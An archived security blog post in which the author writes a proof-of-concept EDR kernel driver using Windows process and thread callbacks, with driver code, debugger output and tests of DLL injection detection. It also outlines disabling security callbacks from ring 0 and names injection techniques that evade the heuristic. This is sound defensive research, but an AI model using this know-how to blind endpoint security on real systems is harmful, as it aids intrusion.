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Windows Kernel Ps Callbacks Experiments
web.archive.org/web/20200326040826/http://deniable.org/windows/windows-callbacks

Feb 29, 2020 • By rui

I won’t be sharing any 0day here (well, maybe a “nday” if you haven’t been looking into
ring0 that much). The fact is, there’s not much public information about this subject (attacks
against the Windows Kernel Ps callbacks). To play a little bit with these kernel callbacks, I
“wrote” (yes, in commas) a pseudo-EDR proof-of-concept (that uses these Ps callbacks).
This post tells the story of some of these ring0 experiments.

My experience with the Windows Kernel comes from writing exploits for memory corruption
bugs. I’ve never worked at Microsoft or any other big hardware/AV company. I’m not a
programmer, and I don’t have access to source code (besides the one that everyone has).
So, my overall knowledge of the Windows kernel is limited. I found some bugs and wrote
some ‘gangster’ kernel exploits, but that’s it.

What I’m trying to say is, the subject discussed here is presented in the interest of exploring
the Windows kernel for self-education. I’ve tried to be as precise as possible (without being
exhaustive), still is very likely that I made mistakes, I’m misinformed, or I forgot to mention
something important. I apologise in advance. If you observe any mistakes/errors please let
me know.

A while ago I looked at a commercial EDR solution from a low-level exploitation, and anti-
tampering, perspective. I can’t disclose the name of the vendor, and I can’t talk about my
findings. Don’t ask, I won’t even mention it again. However, that’s what revamped my interest
in the Windows Kernel Ps Callback Functions. These callbacks are only used in drivers, and
not in the kernel per si. Many Endpoint Security solutions (anti-virus, EDRs, HIDS/HIPS, etc)
register these callbacks to monitor, and track, system activity. Kernel-mode Rootkits also
make use of them, sometimes. Microsoft has been improving the capabilities of these
callbacks (since Vista), and software companies (like Endpoint Security Solutions vendors,
and others) are shifting their hook based monitoring technology to these Kernel Notification
Callbacks (plus the obvious Ob callbacks, Cm callbacks and mini-filter drivers, even though
I won’t be talking about these in this post).

Windows allows kernel drivers to register callback routines, which will then be called when a
particular event occurs (like process/threads execution and termination, image loads, registry
operations, and many others). When the event occurs the callback routine will be invoked,
and the necessary action (as blocking it) can be taken.

https://web.archive.org/web/20200326040826/http://deniable.org/windows/windows-callbacks
https://web.archive.org/web/20200326040826/https://twitter.com/fdiskyou
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Endpoint_Detection_and_Response
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Rootkit
https://web.archive.org/web/20200326040826/https://www.microsoft.com/
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Windows_Vista
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Hooking
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Quoting MSDN, The kernel’s callback mechanism provides a general way for drivers to
request and provide notification when certain conditions are satisfied. A driver can create a
callback object, and other drivers can request notification for conditions associated with this
driver-defined callback.

You can find a comprehensive list of all the APIs exported by the Windows Kernel, for driver
writes to register callback routines that are invoked by kernel components under various
circumstances here. You can, and should, also look at the Windows Driver Kit (WDK) since
they are well documented there. Note that there are still some others undocumented though.

While these Kernel Callbacks are mostly documented from a development perspective, I
didn’t find much information regarding implementation weaknesses and offensive research
focused on them. Initially, I mainly looked at PsSetCreateProcessNotifyRoutineEx and most
of what I’m presenting here is around this process notification callback. However, it applies
pretty much the same way to threads, Image loads, and Registry operations (as we’ll see).

Process notification callbacks are registered via PsSetCreateProcessNotifyRoutine,
PsSetCreateProcessNotifyRoutineEx, and PsSetCreateProcessNotifyRoutineEx2.

PsSetCreateProcessNotifyRoutineEx is the same as the former but also allows you to
block process creation, and PsSetCreateProcessNotifyRoutineEx2 is also invoked for
Linux processes (Windows Subsystem for Linux (WSL)). We’ll ignore the last for now. These
callbacks notify routine addresses are added to an array, the
nt!PspCreateProcessNotifyRoutine array. So whenever a process is being created (or
terminated), the nt!PspCallProcessNotifyRoutines iterates over this array and calls all the
registered callbacks. And this is where you can start smiling. If you have done some
Windows Kernel Exploitation, you know that once you have a primitive that allows you write
into kernel memory the system is compromised. Even if you can write 1 byte only (more on
this later).

Endpoint Security solutions (AVs, EDRs, Anti-Cheating Engines, etc), and others like
Sysmon, Procmon, Process Explorer, and so on, they all make use of Kernel Callbacks. I
“heard” that some AVs are still getting away with some forms of Kernel Hooking in 64-bit
systems, relying on KPP bypasses. I won’t mention names. Anyway, all the few solutions I
briefly looked at were using these Kernel Callbacks. There are some EDRs doing userland
hooking but I won’t talk about those. That’s not in scope for this post. One thing I know, KPP
is not available on 32-bit systems so it’s very likely that some AVs didn’t rewrite their engine
for this platform. Anyway, no one cares about 32-bit anymore (including myself).

The problem here is that, as mentioned before, these callbacks are stored in an array. This
means that if I can zero out that array somehow, they will stop working. If we can set
callbacks, we can also delete them. Right? Well… “you need to be running code in ring zero
for that”. True, but you know… since Administrator to Kernel is not a security boundary…

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/callback-objects
https://web.archive.org/web/20200326040826/https://www.codemachine.com/article_kernel_callback_functions.html
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex2
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/wsl/faq
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Kernel_Patch_Protection
https://web.archive.org/web/20200326040826/https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Kernel_Patch_Protection
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Apart from the pseudo-EDR kernel driver, I also wrote an Evil kernel driver that will somehow
mess with our EDR (and eventually other software making use of these same callbacks).
We’ll see how it can be (ab)used, and while here also talk a little bit about Kernel Patch
Protection (KPP), widely known as PatchGuard, and Driver Signature Enforcement
bypasses.

If you want to follow along with this post, I would recommend you to get two Windows 10
VMs. One (the debugger/host) with a kernel debugger, kd.exe, from the Windows Debug
Tools. If you feel like going crazy fancy use WinDbg Preview. Additionally, Visual Studio 2019
(the free version is enough) with the WDK, and the SDK. On the debuggee/target, I would say
that you’ll only need Process Hacker. That’s it, all the required software is available for free.

As a last note, before we begin, there’s another option for being notified when processes are
created, or terminated. Event Tracing for Windows (ETW). However, it is not possible to
prevent a process from being created this way. Also, there’s a considerable delay regarding
the notification delivery that makes this impractical depending on your “mission”. A short-
lived process can exit before the notification arrives. We won’t talk about these here. The
Windows Kernel Notification Callbacks are sent as “part of” process creation, and the driver
cannot miss any process created and terminated quickly.

The EDR (Kernel Mode Driver)

Writing an EDR for fun, and potential profit, if you are willing to write a web interface

I wanted to play with these Windows Kernel Ps Callbacks. However, I didn’t have an EDR, or
AV to play with. Well, AVs are cheap these days, I know. But the infosec buzzword at the
moment is EDR. There are plenty, but none will give me access for free to their solution to
play with it. So why not write my own?

If you never wrote a Windows Kernel Driver before, there’s this book, from Pavel Yosifovich,
Windows Kernel Programming that I recommend you to grab a copy. This book kinda gives
you all the foundations to write a driver using these Ps callbacks. Please note that it barely
touches mini-filter drivers, but that’s not a surprise. You can pick one of his Kernel Mode
Driver project’s and start building on top of it. That’s what I did for the EDR kernel driver, plus
many other “features” I added myself. So, if you want to do the same, or learn about the
subject, look at the book. If you already know a bit about Windows Kernel programming
probably you’ll hate the book, if you don’t I believe you’ll like it and find it useful.

Moving forward, the pseudo “EDR” I wrote (at the moment) has the ability to:

detect process creation and termination
detect thread creation and termination
detect Image loads

https://web.archive.org/web/20200326040826/https://github.com/fdiskyou/windows-ps-callbacks-experiments
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Kernel_Patch_Protection
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-using-windbg-preview
https://web.archive.org/web/20200326040826/https://visualstudio.microsoft.com/vs/
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk
https://web.archive.org/web/20200326040826/https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk
https://web.archive.org/web/20200326040826/https://processhacker.sourceforge.io/
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing
https://web.archive.org/web/20200326040826/https://twitter.com/zodiacon
https://web.archive.org/web/20200326040826/https://leanpub.com/windowskernelprogramming
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block process creation based on the executable name
detect DLL injection (kind of)

If you are willing to write a web interface, and you are looking for an idea to get your startup
going, here it is. Grab the code, write the web interface, get some investors, slack for a year
or two, sell the company, and pocket some millions (hopefully). Joking.

The code will be available on GitHub, one day. Be warned that I’m not a programmer, and I
take zero responsibility for bugchecks. The focus of this post is not how to write a kernel
driver. I’ll just show you how this pseudo-EDR works, you can eventually use it for your
testing purposes. As of today, I didn’t bother testing the driver in multiple Windows versions. I
only tested it on Windows 10 x64 1903 19H1 and a few other Windows versions. I might
add support for other Windows versions but probably only for 64-bit systems. No one cares
about 32-bit anymore. If you want it working on a 32-bit system it should be really easy to “fix
it” though. I’ll probably do it myself at some point just for fun. Anyway, use Windows 10 x64
1903 19H1 as your target. Otherwise, there are zero guarantees that everything will work as
presented here. It’s not my intention to write commercial grade rock-solid software, and
honestly, this is just a PoC and I couldn’t care less about supporting multiple Windows
versions.

As you might know, or not know, to load an unsigned driver you need to enable test signing
mode. I won’t go through the setup steps, these have been documented all over the Internet.
A simple Google search is enough to get you going. You’ll also have to setup kernel
debugging as mentioned before. Again, Google is your friend (and a close one, since it
knows everything about you). Use it.

Once you enable test signing mode you’ll get a nice watermark on the bottom right corner of
the screen, like the one below.

You’ll have to build the code yourself, fun! If you haven’t installed Windows Visual Studio
2019, and WDK, in this exact order, now is the time. After building the code you’ll end up with
3 files (edr.sys, alerts.exe, and edrcli.exe). I recommend you to build them with debug
information for “better user experience”. Jokes aside, I added a lot of debugging information
and that will help you understand better what’s going on.

Here’s the functionality of each one of the files.

https://web.archive.org/web/20200326040826/https://github.com/fdiskyou/windows-ps-callbacks-experiments
https://web.archive.org/web/20200326040826/https://en.wikipedia.org/wiki/Fatal_system_error
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
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edr.sys (the pseudo-EDR kernel-mode driver)
alerts.exe (the client that will let you get all the information from the kernel-mode driver)
edrcli.exe (the client that lets you add process names that shouldn’t be allowed to start)

You can load the edr.sys driver the same way you install a user-mode service. You can use
the CreateService API, you can use OSR driver loader, you can use whatever you want. Or,
you can just use the Windows built-in and most well known, tool for this. sc.exe, which is
what I use myself. There’s no need to install any extra tools, honestly.

We can install the driver as an Administrator only. So open an elevated command prompt
and type (assuming you have the driver in the Desktop folder as I do, and change the
username accordingly):

sc create edr type= kernel binPath= c:\users\rui\Desktop\edr.sys 

Pay attention to the spaces. You should now have the following registry key
HKLM\System\CurrentControlSet\Services\Edr. We’ll eventually talk about it later. To start
the driver type:

sc start edr 

I hope you have a Kernel Debugger attached by now (and hopefully the machine didn’t
bugcheck), so you should see some messages with the Driver Prefix [EDR]. You can also
use DebugView from Sysinternals to see the debug messages, just make sure you enable
the kernel debug messages. To avoid a lot of noise I still recommend you to just use kd.exe)
with the following KD mask:

ed nt!Kd_Default_Mask 8 

You can set Kd_default_mask to f to enable every possible debug message, although 8
should be enough to catch our unadorned KdPrint (customized DbgPrint). To revert it:

ed nt!Kd_Default_Mask 0x0 

Note: if you are developing kernel-mode drivers I recommend you to automate everything as
much as possible, but I’ll leave that as an exercise for you. This is just a messy demo with
files all over the Desktop folder.

Let’s get started. To register, and start, your EDR driver (edr.sys) use the commands
mentioned above and once you get it loaded and running use the alerts.exe to see what’s
going on.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea
https://web.archive.org/web/20200326040826/https://www.osronline.com/article.cfm%5Earticle=157.htm
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/sysinternals/downloads/debugview
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If you launch alerts.exe without any parameter you’ll get all the notifications for processes,
and threads, start and exit, plus Image loads as shown above. If you want a more granular
view you can use the following command line switches.

Nothing fancy.

So, how does the kernel allows drivers to be notified of these specific events?
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Process Notifications

As mentioned before, a driver can be notified when a process is created, or terminated, by
registering a notification function with PsSetCreateProcessNotifyRoutine. Or, with
PsSetCreateProcessNotifyRoutineEx, or PsSetCreateProcessNotifyRoutineEx2.

The main API is PsSetCreateProcessNotifyRoutineEx, and that’s one we’ll be using in our
pseudo-EDR driver. As we can read on MSDN, The PsSetCreateProcessNotifyRoutineEx
routine registers or removes a callback routine that notifies the caller when a process is
created or exits.

We can find its definition in the ntddk.h header file.

NTKERNELAPI 
NTSTATUS 
PsSetCreateProcessNotifyRoutineEx ( 
   _In_ PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, 
   _In_ BOOLEAN Remove 
   );

The first parameter is a pointer to the PCREATE_PROCESS_NOTIFY_ROUTINE_EX
routine to register or remove. The operating system calls this routine whenever a new
process is created.

In our driver, this routine is called OnProcessNotify and can be found on the Edr.cpp file.
We register it inside the DriverEntry function, as shown below.

status = PsSetCreateProcessNotifyRoutineEx(OnProcessNotify, FALSE); 
if (!NT_SUCCESS(status)) { 
   KdPrint((DRIVER_PREFIX "failed to register process callback (0x%08X)\n", 
status)); 
   break; 
}

Note: there’s a maximum limit of 64 callback registrations, which means the API call above
can fail. This is a limitation that can be abused.

The second parameter, set to FALSE above, is a Boolean value that specifies whether
PsSetCreateProcessNotifyRoutineEx will add or remove a specified routine from the list of
callback routines. If this parameter is TRUE, the specified routine is removed from the list of
callback routines. If this parameter is FALSE, the specified routine is added to the list of
callback routines. If Remove is TRUE, the system also waits for all in-flight callback routines
to complete before returning.

Pretty simple.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex2
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex
https://web.archive.org/web/20200326040826/https://github.com/fdiskyou/wdk-header-files/blob/master/win10rs5/ntddk.h
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_process_notify_routine_ex
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The first argument, as shown above, has the following prototype (defined on the same
header file).

typedef 
VOID 
(*PCREATE_PROCESS_NOTIFY_ROUTINE_EX) ( 
   _Inout_ PEPROCESS Process, 
   _In_ HANDLE ProcessId, 
   _Inout_opt_ PPS_CREATE_NOTIFY_INFO CreateInfo 
   );

And the data structure for process creation is defined on the same header file, as shown
below.

typedef struct _PS_CREATE_NOTIFY_INFO { 
   _In_ SIZE_T Size; 
   union { 
       _In_ ULONG Flags; 
       struct { 
           _In_ ULONG FileOpenNameAvailable : 1; 
           _In_ ULONG IsSubsystemProcess : 1; 
           _In_ ULONG Reserved : 30; 
       }; 
   }; 
   _In_ HANDLE ParentProcessId; 
   _In_ CLIENT_ID CreatingThreadId; 
   _Inout_ struct _FILE_OBJECT *FileObject; 
   _In_ PCUNICODE_STRING ImageFileName; 
   _In_opt_ PCUNICODE_STRING CommandLine; 
   _Inout_ NTSTATUS CreationStatus; 
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;

An important field from the structure above is the CreationStatus since this is the status
that will be returned to the caller. In this pseudo-EDR driver, I added the ability to block
processes from starting up using this field (by returning STATUS_ACCESS_DENIED).

Blocking process creation

To configure which processes should be blocked, I wrote a small userland utility that
communicates with the EDR driver. It allows you to add process names to a doubly-linked list
(LIST_ENTRY) in the kernel where these process names are kept. Every time a new process
starts, an in-line notification is sent to the EDR driver. The EDR driver looks at this doubly
linked list and allows the process to start, or not.

This is just a proof-of-concept, so feel free to improve it. It just checks the process file name,
so if you change it you bypass it. The point here is to simply make you think what are some
of the limitations, or challenges that developers of this type of technology have to face. Like,
where to keep this information? How to handle it? Are we going to keep a doubly linked list in

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-list_entry
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the kernel with thousands of processes, command-line switches, and check it every time a
new process starts? Should we use regular expressions? Parsing this in the kernel doesn’t
sound like a good idea, right? Is this fine? Is this heavy? Should we use a database in user-
mode? What’s the best approach to handle this? I guess you get the point.

Anyway, to add process names to this doubly linked list and block their execution you can
use the edrcli.exe client with the -i switch.

Let’s say we want to block procexp64.exe from starting.

After you add it to the doubly linked list mentioned above, here’s what happens.
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You can add up to 10 process names, by default. This value is hardcoded, and you can
change this in the code. Check the Edr.h header file and change the define
MAX_NR_PROC_TO_BLOCK. Even better, would be to simply read this value from a registry key
(feel free to write the code for this).

If this maximum cap is reached, the oldest one is deleted and the new one is added. See
below the code responsible for this in the Edr.cpp file.

if (g_Globals.NodeCount >= MAX_NR_PROC_TO_BLOCK) 
{ 
   KdPrint(("[EDR] Max # of process to block reached. Deleting the oldest one.\n")); 
   auto tail = RemoveTailList(&g_Globals.ProcListHead); 
   auto record = CONTAINING_RECORD(tail, FullItem<ProcessDenyInfo>, Entry); 
   ExFreePool(record); 
   g_Globals.NodeCount--; 
}

Anyway, if you add multiple processes and then try to get the list of the processes currently in
the doubly linked list with the -l switch you’ll get:
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Yep, I didn’t finish this because I didn’t care. Maybe later. However, you can still see the
contents of the doubly linked list if you have a kernel debugger attached.

Feel free to write the code that sends this data back to the user-mode client. I have multiple
examples of how to do it in the Visual Studio project. Anyway, how is this achieved? Inside
our OnProcessNotify function, we have the following.
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if (CreateInfo) 
{ 

if(!IsListEmpty(&g_Globals.ProcListHead)) 
{ 
 AutoLock<FastMutex> lock(g_Globals.ProcMutex); 

 PLIST_ENTRY pENTRY = g_Globals.ProcListHead.Flink; 
 while(pENTRY != &g_Globals.ProcListHead) 
 { 
  auto node = CONTAINING_RECORD(pENTRY, 

FullItem<ProcessDenyInfo>, Entry); 
  auto pname = node->Data.ProcessName; 
  KdPrint((DRIVER_PREFIX " -> %S\n", pname)); 

  if (wcsstr(CreateInfo->ImageFileName->Buffer, pname)) 
  { 
   CreateInfo->CreationStatus = STATUS_ACCESS_DENIED; 
   KdPrint((DRIVER_PREFIX "No Way Jose! Access to: 

\"%S\" is... Denied!!!\n", pname)); 
   return; 
  } 

  pENTRY = pENTRY->Flink; 
 } 
} 

(...)

As we can see from above, we have a mutex that guarantees that the doubly linked listed,
where we keep the list of the processes that we want to block, is not being manipulated.
Then, we iterate over the list in the while loop and if the process name matches we set the
structure field mentioned above (CreationStatus) to STATUS_ACCESS_DENIED. Simple. This
shouldn’t be done with process names (but hashed values) for obvious reasons, but bear
with me.

If you have a debugger attached you can also see the following debug message if there’s a
match.

If you want to look at the code responsible to add a process name to the doubly linked list,
you can look at the EdrDeviceControl function, where the IOCTL_EDR_ADD_DENY_RULE is
handled (right below the code shown above). I’m simply using the LIST_ENTRY API calls to
manage the doubly linked list.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-list_entry
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DLL injection detection

The DLL injection detection mechanism I implemented in the kernel driver is very simple,
actually basic. Still, it gives you an idea of how hard it can be to develop something without
triggering many false positives. And, at the same time be able to cover all the possible DLL
injection techniques there is. We aren’t even talking about code injection techniques, just
DLL injection (which is only a subset of code injection).

Knowing that the first thread in a process is always remotely created, our heuristic is simple.
If a process has more than one thread, and we see another remotely created thread we flag
it as DLL injection (with the caveat described below). This is not bulletproof and while it
works for the typical CreateRemoteThread it won’t work so well for a few more obscure
techniques as we will see.

Again, the logic behind this detection is quite simple. However, believe it, or not, this method
is used in multiple AV solutions. As we all know, a lot of “malware” injects code/threads into
other/remote processes to avoid detection. The typical, and most basic scenario as
referenced above is to use the WriteProcessMemory API to write data/shellcode to an area
of memory in a specified process, and then call CreateRemoteThread. This is a very well
documented technique, and there’s plenty of source code available online to do this.
Windows itself uses it all the time. Anyway, I wrote a simple (and ugly) DLL injection tool a
while ago that you can use for testing. It contains 7 different DLL injection techniques and
can be found here.

Thread Notifications

The kernel also provides an API call for thread creation and termination, just like for process
callbacks. The API is PsSetCreateThreadNotifyRoutine. To unregistering, this time, we have
a second API call. PsRemoveCreateThreadNotifyRoutine. The parameters to the former are
process ID, the thread ID, and a boolean value depending on the thread being created or
terminated.

You can find all these definitions in the ntddk.h header file already mentioned.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
https://web.archive.org/web/20200326040826/https://github.com/fdiskyou/injectAllTheThings
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutine
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-psremovecreatethreadnotifyroutine
https://web.archive.org/web/20200326040826/https://github.com/fdiskyou/wdk-header-files/blob/master/win10rs5/ntddk.h
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typedef 
VOID 
(*PCREATE_THREAD_NOTIFY_ROUTINE)( 
   _In_ HANDLE ProcessId, 
   _In_ HANDLE ThreadId, 
   _In_ BOOLEAN Create 
   ); 

NTKERNELAPI 
NTSTATUS 
PsSetCreateThreadNotifyRoutine( 
   _In_ PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine 
   ); 

NTKERNELAPI 
NTSTATUS 
PsRemoveCreateThreadNotifyRoutine ( 
   _In_ PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine 
   );

In our pseudo-EDR driver we register our callback function (OnThreadNotify) as shown
below in the DriverEntry function:

status = PsSetCreateThreadNotifyRoutine(OnThreadNotify); 
if (!NT_SUCCESS(status)) { 
   KdPrint((DRIVER_PREFIX "failed to set thread callback (status=%08X)\n", status)); 
   break; 
}

So, to detect DLL injection, in our OnThreadNotify function, that’s called in-line every time a
thread is created/terminated, we can do something like this (pseudo-code):

void OnThreadNotify(HANDLE RemoteProcessId, HANDLE ThreadId, BOOLEAN Create) { 

currentProcess = GetCurrentProcess() 

if currentProcess not equal to RemoteProcessId 
THREAD INJECTION DETECTED

Quite simply, if the current process and the remote process are different it means the thread
has been injected. This is not good enough because of what I mentioned before. In
Windows, the first thread is always created remotely. So, in our OnThreadNotify function, we
use the PsLookupProcessByProcessId to obtain a referenced pointer to the EPROCESS
structure of the process.

We are interested in the ActiveThreads field of the EPROCESS structure. This structure is not
documented but we can look at it in a debugger. Here’s its definition on Windows 10 x64
1903 (OS Build 18362.592).

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid
https://web.archive.org/web/20200326040826/https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/index.htm
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0: kd> dt nt!_EPROCESS 
nt!_EPROCESS 
  +0x000 Pcb              : _KPROCESS 
  +0x2e0 ProcessLock      : _EX_PUSH_LOCK 
  +0x2e8 UniqueProcessId  : Ptr64 Void 
  +0x2f0 ActiveProcessLinks : _LIST_ENTRY 
(...) 
  +0x448 ImageFilePointer : Ptr64 _FILE_OBJECT 
  +0x450 ImageFileName    : [15] UChar 
  +0x45f PriorityClass    : UChar 
(...) 
  +0x488 ThreadListHead   : _LIST_ENTRY 
  +0x498 ActiveThreads    : Uint4B        <------------- 
  +0x49c ImagePathHash    : Uint4B 
(...) 
  +0x878 MmHotPatchContext : Ptr64 Void 

The code responsible for what’s described above is below.

Warning: there are hardcoded offsets all over the place, these will be fixed at some point.
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status = PsLookupProcessByProcessId(ProcessId, &Process); 
if (!NT_SUCCESS(status)) 
{ 

KdPrint(("PsLookupProcessByProcessId()\n")); 
return; 

} 

idProcess = PsGetCurrentProcessId(); 
idThread = PsGetCurrentThreadId(); 

if (HandleToULong(idProcess) == 4)  //ignore the system process    
{ 

return; 
} 

lpProcess = (LPTSTR)Process; 
lpProcess = (LPTSTR)(lpProcess + 0x450); // ImageFileName dt _EPROCESS  

if (idProcess != ProcessId) 
{ 

PEPROCESS iProcess; 
LPTSTR lpProcessIn; 
status = PsLookupProcessByProcessId(idProcess, &iProcess); 
lpProcessIn = (LPTSTR)iProcess; 
lpProcessIn = (LPTSTR)(lpProcessIn + 0x450); // ImageFileName dt _EPROCESS 

LPTSTR ActiveThreads = (LPTSTR)(lpProcess + 0x48); // ActiveThreads dt 
_EPROCESS 

 
if((UINT32)*ActiveThreads > 1) // first thread is always created remotely 
 KdPrint(("[EDR Thread Injection] Remote Process %d (%s) <thread %d> 

was injected by Process %d (%s) <thread %d> | Remote Process # Threads: %d\n", 
ProcessId, lpProcess, ThreadId, idProcess, lpProcessIn, idThread, 
(UINT32)*ActiveThreads)); 
}

Warning: As you can see from above, ImageFileName is [15] UChar so the process name if
bigger that 16 is going to be truncated. It doesn’t matter, but if you are aiming for perfection
use the field SeAuditProcessCreationInfo.

For example:

0: kd> dt nt!_EPROCESS SeAuditProcessCreationInfo. ffff8882af0c2080 
  +0x468 SeAuditProcessCreationInfo  : 
     +0x000 ImageFileName               : 0xffff8882`af8c3850 
_OBJECT_NAME_INFORMATION 
0: kd> dt _OBJECT_NAME_INFORMATION 0xffff8882`af8c3850 
nt!_OBJECT_NAME_INFORMATION 
  +0x000 Name             : _UNICODE_STRING 
"\Device\HarddiskVolume3\Users\rui\Desktop\procexp64.exe" 
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Note that we ignore the SYSTEM process because we aren’t interested in it, and Windows
itself does DLL injection all the time.

We can quickly demo this with the DLL injection binaries I mentioned above. Please attach a
kernel debugger to the target VM and don’t forget to enter the ed nt!Kd_Default_Mask 8 to
see the debug messages. DLL injection is not blocked, simply logged and you won’t be able
to see these being flagged without a kernel debugger attached. As a target process, we’ll be
using notepad.exe.

And we can see the following in our kernel debugger.

And if look at the notepad.exe process with Process Hacker we can see that we have
indeed 8 threads and we can easily identify what was the injected thread. Right?

https://web.archive.org/web/20200326040826/https://processhacker.sourceforge.io/
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If you aren’t familiar with how the CreateRemoteThread DLL injection technique works I
recommend you to read the injector source code or this post. Anyway, the remote thread
we created executes LoadLibraryW and we can easily identify that thread (6316) with
Process Hacker and in the log message displayed in our debugger.

We can now try to play with the injectAllTheThings binary and see if “our” pseudo-EDR can
detect other DLL injection techniques that don’t follow this usual pattern.

The first technique we already tried, let’s try the second one using NtCreateThreadEx. Even
though this API is undocumented, the technique itself it’s still pretty much the same as the
one we used above.

https://web.archive.org/web/20200326040826/http://deniable.org/misc/inject-all-the-things
https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw
https://web.archive.org/web/20200326040826/https://github.com/fdiskyou/injectAllTheThings
https://web.archive.org/web/20200326040826/https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtCreateThread.html
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Still detected.

Let’s try the next one. This time using the QueueUserAPC API. Again, if you don’t know how
these techniques work under the wood have a look at this post.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
https://web.archive.org/web/20200326040826/http://deniable.org/misc/inject-all-the-things
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This time, we didn’t get any “alert” in our kernel debugger. So, no detection. Hmm, stealthy
DLL injection technique for the red teamers out there?

Let’s move to the next one using SetWindowsHookEx.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa
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Again, no detection. If you don’t see the MessageBox please see the post I mentioned
before describing how these techniques work. Anyway, another stealthy one for red
teamers?

Let’s try the next one, RtlCreateUserThread.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox
https://web.archive.org/web/20200326040826/https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FRtlCreateUserThread.html
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This time, the DLL injection was detected (as expected).

Let’s try the next one, SetThreadContext.

https://web.archive.org/web/20200326040826/https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext
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As expected, not detected. Finally, let’s try the famous Reflective DLL injection technique by
Stephen Fewer.

https://web.archive.org/web/20200326040826/https://github.com/stephenfewer/ReflectiveDLLInjection
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Detected again. Cool!

The results are not surprising if you played with this before. The idea of going through all the
techniques was more to show you how you can use these small projects to help you test
against some detection mechanisms employed by Endpoint Security products. I used
injectAllTheThings.exe multiple times to help me work around detections, I know at least
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two consultancy (red) teams that also use it regularly, and successfully. You now know that
the technique used in the pseudo-EDR is not enough to detect certain techniques. You know
what are its weaknesses. So start improving it!

